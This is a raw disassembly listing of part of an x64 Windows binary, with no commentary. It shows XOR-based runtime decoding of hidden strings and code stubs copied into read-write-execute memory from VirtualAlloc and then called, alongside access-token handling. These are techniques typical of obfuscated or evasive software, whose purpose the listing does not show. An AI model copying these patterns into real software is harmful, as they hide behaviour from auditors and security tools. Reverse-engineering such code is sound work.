pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
shufps xmm3, xmm1, 0xdd
psrad xmm3, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x30
jl 0x140241b90
cmp r9d, 0x31
jge 0x140241d6c
movsxd rax, r9d
lea r10, [rsp + 0x480]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x31
jl 0x140241d20
xorps xmm0, xmm0
movups xmmword [rsp + 0x3b8], xmm0
mov qword [rsp + 0x3c8], rdi
mov qword [rsp + 0x3d0], rdi
lea rax, [rsp + 0x480]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140241d92
lea rdx, [rsp + 0x480]
lea rcx, [rsp + 0x3b8]
call fcn.14020c680
lea rcx, [rsp + 0x3b8]
call fcn.1401ffd40
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x1b8], 0x5dc
xorps xmm0, xmm0
movups xmmword [rsp + 0xb70], xmm0
lea rcx, [rsp + 0xaa98]
mov qword [rsp + 0xb78], r14
mov qword [rsp + 0xb80], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb70], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x140295120]
test rcx, rcx
je 0x140241e4b
mov r8, rdi
lea rax, [0x14024a780]
cmp rcx, rax
je 0x140241e3a
inc edx
mov r8d, edx
mov rcx, qword [rsi + rdx*8 + 0x295120]
test rcx, rcx
jne 0x140241e21
jmp 0x140241e4b
mov r8, qword [rsi + r8*8 + 0x297400]
test r8, r8
jne 0x140241f37
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140241e74
mov r8, rdi
jmp 0x140241f0f
lea rax, [0x14024a780]
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140241e81
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140295a90]
lea rcx, [0x14024a780]
mov qword [rsi + rax*8 + 0x295120], rcx
mov qword [rsi + rax*8 + 0x297400], r8
inc rax
mov qword [0x140295a90], rax
lea rdx, [rsp + 0x1b8]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
lea rcx, [rsp + 0xaa98]
mov qword [rcx], rax
movups xmm0, xmmword [0x14027dbf0]
movups xmmword [rsp + 0x2a0], xmm0
movups xmm1, xmmword [0x14027dc00]
movups xmmword [rsp + 0x2b0], xmm1
movzx eax, word [0x14027dc10]
mov word [rsp + 0x2c0], ax
mov r9d, edi
cmp dword [0x140291090], 2
jl 0x14024212d
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x2a4]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x140241fb0
cmp r9d, 0x22
jge 0x14024218c
movsxd rax, r9d
lea r10, [rsp + 0x2a0]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x22
jl 0x140242140
xorps xmm0, xmm0
movups xmmword [rsp + 0x3d8], xmm0
mov qword [rsp + 0x3e8], rdi
mov qword [rsp + 0x3f0], rdi
lea rax, [rsp + 0x2a0]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x1402421b2
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0x3d8]
call fcn.14020c680
lea rcx, [rsp + 0x3d8]
call fcn.1401ffd40
nop
lea rbx, [0x1401f97c0]
mov qword [rsp + 0x200], rdi
mov dword [rsp + 0x1bc], edi
mov qword [rsp + 0x1f0], rdi
lea rax, [0x140202ed0]
mov qword [rsp + 0x220], rax
mov dword [rsp + 0x1c0], edi
mov qword [rsp + 0x210], rdi
xorps xmm0, xmm0
movups xmmword [rsp + 0xb70], xmm0
lea rcx, [rsp + 0xaa98]
mov qword [rsp + 0xb78], r14
mov qword [rsp + 0xb80], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb70], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x140297740]
test rcx, rcx
je 0x14024229a
mov r10, rdi
lea rax, [0x14024b090]
nop dword [rax]
cmp rcx, rax
je 0x140242289
inc edx
mov r10d, edx
mov rcx, qword [rsi + rdx*8 + 0x297740]
test rcx, rcx
jne 0x140242270
jmp 0x14024229a
mov r10, qword [rsi + r10*8 + 0x298d40]
test r10, r10
jne 0x140242386
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x1402422c3
mov r10, rdi
jmp 0x14024235e
lea rax, [0x14024b090]
mov rcx, r10
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1402422d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140296a40]
lea rcx, [0x14024b090]
mov qword [rsi + rax*8 + 0x297740], rcx
mov qword [rsi + rax*8 + 0x298d40], r10
inc rax
mov qword [0x140296a40], rax
lea rax, [rsp + 0x200]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1bc]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x220]
lea r8, [rsp + 0x1c0]
lea rdx, [rsp + 0x210]
mov rcx, rbx
call r10
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
lea rcx, [rsp + 0xaa98]
mov qword [rcx], rax
jmp 0x14024245e
lea rax, [0x14024b090]
mov qword [rsp + 0x218], rdi
mov dword [rsp + 0x1c4], edi
mov qword [rsp + 0x228], rdi
lea rcx, [0x14022ef20]
mov qword [rsp + 0x230], rcx
mov dword [rsp + 0x190], edi
mov qword [rsp + 0x238], rdi
xorps xmm0, xmm0
movups xmmword [rsp + 0xb70], xmm0
lea rdx, [rsp + 0xaa98]
mov qword [rsp + 0xb78], r14
mov qword [rsp + 0xb80], rdx
mov rcx, qword [rdx]
xor rcx, r14
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0xb70], rcx
mov qword [rdx], rdi
mov edx, edi
mov rcx, qword [0x140297740]
test rcx, rcx
je 0x14024250e
mov r10, rdi
cmp rcx, rax
je 0x1402424fd
inc edx
mov r10d, edx
mov rcx, qword [rsi + rdx*8 + 0x297740]
test rcx, rcx
jne 0x1402424e4
jmp 0x14024250e
mov r10, qword [rsi + r10*8 + 0x298d40]
test r10, r10
jne 0x140242606
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x140242537
mov r10, rdi
jmp 0x1402425de
lea rax, [0x14024b090]
mov rcx, r10
mov rdx, r13
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140242550
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140296a40]
lea rcx, [0x14024b090]
mov qword [rsi + rax*8 + 0x297740], rcx
mov qword [rsi + rax*8 + 0x298d40], r10
inc rax
mov qword [0x140296a40], rax
lea rax, [rsp + 0x218]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1c4]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x228]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x230]
lea r8, [rsp + 0x190]
lea rdx, [rsp + 0x238]
mov rcx, rbx
call r10
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
lea rcx, [rsp + 0xaa98]
mov qword [rcx], rax
jmp 0x1402426de
mov eax, dword [0x140291090]
movups xmm4, xmmword [str._t__2__49_3ve65.]
movups xmmword [rsp + 0x100], xmm4
mov edx, dword [0x14027e548]
mov dword [rsp + 0x110], edx
cmp byte [str.fqrvvzL], 0
je 0x140242ae5
mov rax, qword [rsp + 0xc70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0xc70], rax
mov rax, qword [rsp + 0xc70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rsp + rcx + 0xc6c], edx
lea rcx, [rsp + 0xc80]
call fcn.140246b20
lea rcx, [rsp + 0xc88]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0xd00]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0xb88]
call fcn.140248aa0
nop
lea rax, vtable.ATL::CSid.0
mov qword [rsp + 0xbf0], rax
mov rdx, qword [rsp + 0xc60]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140243753
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
mov rdx, qword [rsp + 0xc58]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140243779
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
mov rdx, qword [rsp + 0xc50]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14024379f
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
mov rdx, qword [rsp + 0xc48]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r15d
sub r15d, 1
jg 0x1402437c5
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
nop
lea rax, vtable.ATL::CAccessToken.0
mov qword [rsp + 0xba8], rax
mov rdx, qword [rsp + 0xbb8]
mov rcx, qword [rsp + 0xbb0]
test rdx, rdx
je 0x140243804
test rcx, rcx
je 0x1402437fc
call qword [sym.imp.USERENV.dll_UnloadUserProfile]
mov rcx, qword [rsp + 0xbb0]
mov qword [rsp + 0xbb8], rdi
test rcx, rcx
je 0x140243817
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0xbb0], rdi
mov edx, 8
mov rcx, qword [rsp + 0xbc0]
call fcn.14026da10
nop
mov rcx, qword [rsp + 0xbc8]
xor rcx, r14
mov rax, qword [rsp + 0x1f8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xa9e0]
xor rcx, rsp
call fcn.14026d9f0
lea r11, [rsp + 0xaa80]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
mov rsp, r11
pop r15
pop r14
pop r13
ret
test r10d, r10d
mov ecx, dword [rbx + 0x20]
jne 0x14023e170
mov rax, qword [rax]
jmp 0x14023e140
call fcn.1401f1b20
nop
mov ecx, 0x80004005
call fcn.1401f2620
nop
mov ecx, 0x80004005
call fcn.1401f2620
nop
mov ecx, 0x80004005
call fcn.1401f2620
nop
mov ecx, 0x80004005
call fcn.1401f2620
int3